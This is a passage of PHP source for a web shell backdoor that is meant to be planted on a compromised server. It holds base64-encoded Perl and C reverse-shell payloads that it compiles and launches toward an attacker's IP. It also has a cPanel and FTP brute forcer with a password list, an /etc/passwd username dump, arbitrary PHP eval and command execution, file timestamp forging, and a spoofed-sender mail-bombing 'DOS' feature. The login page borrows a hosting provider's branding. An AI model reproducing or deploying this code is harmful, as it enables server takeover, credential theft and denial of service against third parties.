if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
// SQL
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
// Data
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
// get mysql server
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
// Show database
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>admin</font><BR><font color=yellow>UPDATE `user` SET `password` = \'21232f297a57a5a743894a0e4a801fc3\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class=fout>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end backconnect window via NC
// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
makehide('action','brute');
makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ [email protected] ]# </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ [email protected] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
if(isset($submit) && !empty($submit)){
$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>[ [email protected] ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}
formfoot();
}
elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
makehide('action','etcpwd');
makehide('dir',$nowpath);
$i = 0;
echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "</textarea></p>";
formfoot();
}
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>Instead »');
p('year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path',__FILE__),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('Administrator',$adminmail),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
else {
m('Undefined Action');
}
//fake mail = Use victim server 4 DOS - fake mail
if ( $id=="fake-mail"){
error_reporting(0);
echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ;
echo "<center><form method='post' action=''>
Victim Mail :<br><input type='text' name='to' ><br>
Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br>
Comments:
<br>
<textarea rows='10' cols=50 name='Comments' ></textarea><br>
<input type='submit' value='Send Mail Strm ' >
</form></center>";
//send Storm Mail
$to=$_POST['to'];
$nom=$_POST['nom'];
$Comments=$_POST['Comments'];
if ($to <> "" ){
for ($i = 0; $i < $nom ; $i++){
$from = rand (71,1020000000)."@"."tuoitre.vn";
$subject= md5("$from");
mail($to,$subject,$Comments,"From:$from");
echo "$i is ok";
}
echo "<script language='javascript'> alert('Loading - please wait...')</script>";
}
}
//***
?></td>
</tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
<strong> ..:: MrBLAKEN ::..</strong> | Copyright (C) 2014 | <B>Email : [email protected]</div>
</body>
</html>
<?php
/*======================================================
Show info shell
======================================================*/
function m($msg) {
echo '<div style="background:#000000;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '').$key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// Login page
function loginpage() {
?>
<!DOCTYPE HTML >
<html>
<head>
<title>> Secure Area !</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="icon" href="https://www.firstheberg.com/membres/faviconesp.ico" type="image/x-icon" />
<style type="text/css" >
/*@import url(https://www.firstheberg.com/membres/css/jquery_ui/jquery-ui-1.8.11.custom.css);*/
@import url(https://www.firstheberg.com/membres/css/jquery_ui/cupertino/jquery-ui-1.10.4.custom.min.css);
@import url(https://www.firstheberg.com/membres/css/jquery.msg2.css);
@import url(https://www.firstheberg.com/membres/css/general.css);
@import url(https://www.firstheberg.com/membres/css/input.css);
*{margin:0;padding:0;}
html{height:100%;}
body{background:url("https://www.firstheberg.com/membres/images/background_identification.png") no-repeat scroll center center #000 ;background-position: center ;font-family:arial;font-size:12px;color:#777;width:100%;}
img{border:0;}
#identification{width:556px; height:324px;background:url("https://www.firstheberg.com/membres/images/box_identification.png") no-repeat top left ;position:absolute;top:50%;left:50%;margin-left:-278px; margin-top:-162px;text-align:center;}
.saisie{width:243px; height:36px;background:url("https://www.firstheberg.com/membres/images/box_saisie.png") no-repeat; margin:0 auto;}
